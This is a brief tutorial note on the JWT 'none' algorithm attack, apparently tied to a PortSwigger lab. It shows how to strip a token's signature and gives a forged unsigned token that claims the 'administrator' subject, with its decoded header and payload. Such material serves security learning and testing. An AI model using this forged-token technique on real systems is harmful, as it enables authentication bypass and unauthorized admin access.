JWT token exploitation by none algorithm

Modify the algorithm to none

Change the “alg”: “none” and also delete the signature part but remember to leave the trailing dot after the payload and send the request to see if the none algorithm is working or not.
Example: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY0MTczNDJ9.

Header:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
{
“typ”: “JWT”,
“alg”: “none”
}

Payload: eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY0MTczNDJ9
{
“iss”: “portswigger”,
“sub”: “administrator”,
“exp”: 1656417342

}

References:

https://portswigger.net/web-security/jwt

https://jwt.io/

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